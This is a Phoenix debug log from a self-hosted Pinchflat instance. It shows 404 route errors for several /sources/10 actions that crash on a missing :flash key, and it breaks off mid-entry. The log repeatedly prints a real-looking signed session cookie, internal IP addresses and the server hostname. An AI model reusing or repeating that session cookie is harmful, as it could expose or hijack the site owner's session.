source="settings" db=0.6ms queue=0.1ms idle=224.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:24.385 [debug] QUERY OK source="settings" db=0.8ms queue=0.1ms idle=224.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:24.386 [debug] QUERY OK source="settings" db=0.5ms idle=219.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:24.386 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:17:24.386 [debug] QUERY OK source="settings" db=0.6ms idle=27.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:24.387 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:17:24.387 [error] #PID<0.37221.0> running PinchflatWeb.Endpoint (connection #PID<0.37077.0>, stream id 18) terminated Server: youtube.plexultra.com:80 (http) Request: GET /sources/10/sync_files_on_disk ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/10/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37077.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/10/sync_files_on_disk", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44466}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 18, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk" }, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.37221.0>, params: %{}, path_info: ["sources", "10", "sync_files_on_disk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/sources/10/sync_files_on_disk", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHOvnFi5wQbOU8AARtC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37077.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/10/sync_files_on_disk", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44466}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 18, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/10/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37077.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/10/sync_files_on_disk", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44466}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 18, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM (truncated) 22:17:24.387 [error] #PID<0.37220.0> running PinchflatWeb.Endpoint (connection #PID<0.37083.0>, stream id 30) terminated Server: youtube.plexultra.com:80 (http) Request: GET /sources/10/force_download_pending ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/10/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37083.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/10/force_download_pending", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44488}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 30, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk" }, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.37220.0>, params: %{}, path_info: ["sources", "10", "force_download_pending"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/sources/10/force_download_pending", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHOvnFi51f5QwcAAX-B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37083.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/10/force_download_pending", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44488}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 30, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/10/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37083.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/10/force_download_pending", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44488}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 30, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb2 (truncated) 22:17:24.392 [info] GET /sources/10/force_metadata_refresh 22:17:24.392 [info] GET /sources/10/force_redownload 22:17:24.393 [debug] QUERY OK source="settings" db=0.4ms idle=33.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:24.393 [debug] QUERY OK source="settings" db=0.5ms idle=7.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:24.393 [debug] QUERY OK source="settings" db=0.2ms idle=7.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:24.394 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:17:24.394 [debug] QUERY OK source="settings" db=0.2ms idle=7.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:24.394 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:17:24.394 [error] #PID<0.37222.0> running PinchflatWeb.Endpoint (connection #PID<0.37077.0>, stream id 19) terminated Server: youtube.plexultra.com:80 (http) Request: GET /sources/10/force_metadata_refresh ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/10/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37077.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/10/force_metadata_refresh", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44466}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 19, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk" }, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.37222.0>, params: %{}, path_info: ["sources", "10", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/sources/10/force_metadata_refresh", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHOvnHf0zB0B1sAAX-h"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37077.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/10/force_metadata_refresh", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44466}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 19, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/10/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37077.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/10/force_metadata_refresh", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44466}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 19, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb2 (truncated) 22:17:24.394 [error] #PID<0.37223.0> running PinchflatWeb.Endpoint (connection #PID<0.37083.0>, stream id 31) terminated Server: youtube.plexultra.com:80 (http) Request: GET /sources/10/force_redownload ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/10/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37083.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/10/force_redownload", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44488}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 31, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk" }, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.37223.0>, params: %{}, path_info: ["sources", "10", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 